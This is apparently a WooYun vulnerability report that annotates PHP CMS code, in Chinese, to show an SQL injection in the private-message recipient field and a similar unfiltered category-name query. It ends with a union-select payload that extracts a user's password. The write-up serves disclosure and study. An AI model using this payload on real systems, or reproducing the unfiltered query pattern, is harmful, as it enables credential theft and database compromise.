WooYun.org

if($form->status == TFORM_STATUS_GETED_VALID){
//这个是站内短信的写信息表单 的 处理
      $arr = $form->getValues();
//直接获取表单中信息
      $tos = explode(',',trim($arr['to']));
//只是分割，不是过滤
      $noExistsMenber = array();
      $toMenbers = array();
      foreach ($tos as $menber){
        $i =
        $this->DBE->getOne("select `id` from #__user where `name`='$menber'");
//一直到上面这一句都没有过滤，直接带入数据库查询了，之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用（其他的int变量都通过了inval，而这个是string啊喵，我可以输入单引号啊喵）
        if(is_null($i) or empty($i)){
          $noExistsMenber[] = $menber;
//id只要有返回就可以继续
        }else{
          $m['name'] = $menber;
          $m['id']  = $i;
          $toMenbers[] = $m;
        }
      }
      if(!empty($noExistsMenber)){
        addGlobalNotice("以下用户不存在：".implode(',',$noExistsMenber));
      }else{
        $msg['tos'] = $arr['to'];
        $msg['subject'] = $arr['subject'];
        $msg['content'] = $arr['content'];
//进入信息发送的模块了，实际上之前就已经引发注射了，但是攻击时需要读sendMessage代码
        $mMessage->sendMessage($toMenbers,$msg);
        $this->flash('成功','发送成功',bu(1,'messages','inbox'));
      }

if($form->status == TFORM_STATUS_GETED_VALID){
			$newCat = $form->getValues();
			if($id==0){
				//create category
				//check name
				$name = $newCat['name'];
				$nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'");
				if($nameUsed){
					$form->status = TFORM_STATUS_GETED;

$tos = explode(',',trim($arr['to']));

function sendMessage($to,$message,$type=null,$newCall=1){
//刚才检测完用户是否存在后，调用这个函数
    if(isset($to['name']) or is_string($to)){
      if(is_string($to)){
        $to['name'] = $to;
      }
      if(!isset($to['id'])){
//还记得id吗，是之前被注射SQL的返回，理论上正常应该是目标用户的id
        $to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'");
      }
//又SELECT一遍，不过name还是注射时的name，这一句也被注射了
      global $gUser;
      $message['to'] = $to['name'];
      $message['to_id'] = $to['id'];
      $message['from'] = $gUser->name;
      $message['from_id'] = $gUser->id;
      $message['create_time'] = TIME_STAMP;
      $message['type'] = $type;
      $this->insert($message);
//看到下一句，终于长舒一口气，注射可以有回显了！to_id就是我们的语句执行结果，而它会报错给我们看的！
      $this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");
      if($newCall>0){
        $message['to'] = '';
        $message['to_id'] = 0;
        $this->insert($message);
        $newCall--;
      }
    }else if(is_array($to)){
      foreach ($to as $sto){
        $this->sendMessage($sto,$message,null,$newCall);
      }
    }
  }

test' and 1=2 union select password from flexi_user where id=1#